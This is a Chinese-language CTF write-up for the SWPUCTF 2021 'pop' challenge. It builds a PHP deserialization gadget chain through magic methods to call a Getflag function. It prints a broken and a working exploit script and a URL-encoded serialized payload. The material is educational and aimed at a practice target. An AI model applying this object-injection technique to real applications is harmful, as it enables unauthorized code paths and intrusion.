NSS [SWPUCTF 2021 新生赛]pop

NSS [SWPUCTF 2021 新生赛]pop

NSS [SWPUCTF 2021 新生赛]pop_第1张图片

倒推一下,最后一步是调用getflag函数,admin和password要求为w44m和08067。

第一步应该从w22m类的魔术方法__destruct()入手,所以中间第二步应该是w33m(第一步w22m类的魔术方法__destruct()里面的echo触发__toString())。

因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。

先看我错误的exp:



class w22m{
  public $w00m=new w33m();
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类

class w33m{
  public $w00m=new w44m();
  public $w22m='Getflag';
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数

class w44m{
  private $admin = 'w44m';
  protected $passwd = '08067';
}

//并且w44m类的admin和password变量为w44m和08067。
$j17 = new w22m();
echo urlencode(serialize($j17));
?>

正确exp:



class w22m{
  public $w00m;
  public function __construct()
  {
     $this->w00m=new w33m();  
  }
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类

class w33m{
  public $w00m;
  public $w22m='Getflag';
  public function __construct()
  {
     $this->w00m=new w44m();  
  }
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数

class w44m{
  private $admin = 'w44m';
  protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。

$j17 = new w22m();
echo urlencode(serialize($j17));
?>

不同点分别是

class w22m{
  public $w00m=new w33m();
}
class w22m{
  public $w00m;
  public function __construct()
  {
     $this->w00m=new w33m();  
  }
}

区别在于类中属性,赋值为另外一个类时需要用构造方法。

Payload:

/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

(因为类里面有private,所以不要忘记url编码)

NSS [SWPUCTF 2021 新生赛]pop_第2张图片

你可能感兴趣的:(CTF-web(零散wp合集),web安全)